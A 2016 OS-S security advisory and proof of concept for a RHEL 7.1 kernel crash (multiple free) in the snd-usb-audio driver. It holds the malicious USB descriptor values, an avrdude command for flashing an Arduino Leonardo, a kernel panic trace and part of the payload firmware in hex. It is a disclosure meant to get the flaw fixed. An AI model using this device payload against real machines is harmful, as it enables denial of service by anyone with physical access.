Linux Kernel 3.10.0-229.x (CentOS / RHEL 7.1) – ‘snd-usb-audio’ Crash (PoC)
OS-S Security Advisory 2016-17 Linux snd-usb-audio Multiple Free Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes (multiple free) on invalid USB device descriptors (snd-usb-audio driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of advisory: https://os-s.net//advisories/OSS-2016-17_snd-usb-audio.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the snd-usb-audio driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Kernel 3.10.0-327.10.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x582 idProduct: 0x0 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system (multiple free). [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x3 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc A Kernel Address Sanitizer (KASan) report is available at https://os-s.net/advisories/OSS-2016-17_KASan_Report.txt. Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. To this day, no security patch was provided by the vendor. Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283358 Kernel Stacktrace: [ 32.951497] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 33.172627] usb 1-1: New USB device found, idVendor=0582, idProduct=0000 [ 33.179073] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 33.186972] usb 1-1: Product: Ä? [ 33.190732] usb 1-1: Manufacturer: Ä? [ 33.195718] usb 1-1: SerialNumber: % [ 33.206296] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes [ 33.344127] BUG: unable to handle kernel NULL pointer dereference at (null) [ 33.345023] IP: [<ffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio] [ 33.345023] PGD 0 [ 33.345023] Oops: 0000 [#1] SMP [ 33.345023] Modules linked in: snd_usb_audio(+) snd_usbmidi_lib snd_hwdep snd_rawmidi snd_seq snd_seq_device snd_pcm snd_timer snd soundcore ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 33.345023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 33.345023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 33.345023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 33.345023] RIP: 0010:[<ffffffffa041d063>] [<ffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio] [ 33.345023] RSP: 0018:ffff88000bd239b8 EFLAGS: 00010217 [ 33.345023] RAX: ffff88000c53c101 RBX: ffff88000c53c080 RCX: 00000000000067bd [ 33.345023] RDX: 00000000000067bc RSI: ffffea00002f5400 RDI: ffff88000e401900 [ 33.345023] RBP: ffff88000bd239d8 R08: 0000000000016420 R09: ffff88000fc16420 [ 33.345023] R10: ffffea0000314f00 R11: ffffffffa041d060 R12: 0000000000000000 [ 33.345023] R13: ffff8800000588b8 R14: ffff880000058818 R15: 0000000000000000 [ 33.345023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 33.345023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 33.345023] CR2: 0000000000000000 CR3: 000000000bd05000 CR4: 00000000000006f0 [ 33.345023] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 33.345023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 33.345023] Stack: [ 33.345023] ffff880000058800 ffff880000058600 0000000000000000 ffff88000c388a68 [ 33.345023] ffff88000bd239f0 ffffffffa041d319 ffffffffa03da0b8 ffff88000bd23a10 [ 33.345023] ffffffffa03c88b8 ffff88000f5c2a80 ffff88000c388980 ffff88000bd23a20 [ 33.345023] Call Trace: [ 33.345023] [<ffffffffa041d319>] snd_usb_audio_pcm_free+0x69/0x70 [snd_usb_audio] [ 33.345023] [<ffffffffa03c88b8>] snd_pcm_free+0x58/0x90 [snd_pcm] [ 33.345023] [<ffffffffa03c8902>] snd_pcm_dev_free+0x12/0x20 [snd_pcm] [ 33.345023] [<ffffffffa03a2ec9>] __snd_device_free+0x29/0x80 [snd] [ 33.345023] [<ffffffffa03a319b>] snd_device_free_all+0x3b/0x50 [snd] [ 33.345023] [<ffffffffa039c8ae>] release_card_device+0x1e/0x80 [snd] [ 33.345023] [<ffffffff813cdde2>] device_release+0x32/0xa0 [ 33.345023] [<ffffffff812d6efe>] kobject_release+0x7e/0x1b0 [ 33.345023] [<ffffffff812d6db8>] kobject_put+0x28/0x60 [ 33.345023] [<ffffffff813ce107>] put_device+0x17/0x20 [ 33.345023] [<ffffffffa039cb09>] snd_card_free_when_closed+0x29/0x40 [snd] [ 33.345023] [<ffffffffa039cc64>] snd_card_free+0x54/0x90 [snd] [ 33.345023] [<ffffffffa041bf83>] ? create_composite_quirk+0x73/0xb0 [snd_usb_audio] [ 33.345023] [<ffffffffa040e991>] usb_audio_probe+0x251/0x8d0 [snd_usb_audio] [ 33.345023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 33.345023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 33.345023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 33.345023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 33.345023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 33.345023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 33.345023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0 [ 33.345023] [<ffffffff813d3b34>] driver_register+0x64/0xf0 [ 33.345023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160 [ 33.345023] [<ffffffffa0437000>] ? 0xffffffffa0436fff [ 33.345023] [<ffffffffa043701e>] usb_audio_driver_init+0x1e/0x1000 [snd_usb_audio] [ 33.345023] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 33.345023] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 33.345023] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 33.345023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 33.345023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 33.345023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 33.345023] Code: 0d eb 2e 0f 1f 44 00 00 4c 89 e3 49 89 c4 48 8b 7b 48 e8 81 de d8 e0 48 8b 7b 58 e8 78 de d8 e0 48 89 df e8 70 de d8 e0 4d 39 ec <49> 8b 04 24 75 d7 49 8b be b8 00 00 00 e8 5b de d8 e0 5b 41 5c [ 33.345023] RIP [<ffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio] [ 33.345023] RSP <ffff88000bd239b8> [ 33.345023] CR2: 0000000000000000 [ 33.876830] ---[ end trace b239663354a1c556 ]--- [ 33.882175] Kernel panic - not syncing: Fatal exception [ 33.883149] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C4050C942F04CA :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940E02C1 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C5000B030E0302 :1000B000010305032F032F032F03120316031A0353 :1000C000200324032F032A030000000200080E006F :1000D00000030401000B000000000000000000000D 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